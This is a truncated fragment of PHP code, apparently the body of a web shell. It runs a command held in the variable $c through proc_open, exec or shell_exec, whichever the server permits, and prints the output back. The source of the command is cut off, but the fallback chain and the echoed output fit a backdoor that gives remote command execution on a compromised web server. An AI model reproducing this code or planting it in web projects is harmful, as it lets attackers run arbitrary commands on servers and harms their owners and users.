array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$p=proc_open($c,$d,$pp);$o=stream_get_contents($pp[1]);proc_close($p);}elseif(function_exists("exec")){exec($c,$r);$o=implode(" ",$r);}elseif(function_exists("shell_exec")){$o=shell_exec($c);}echo $o;?>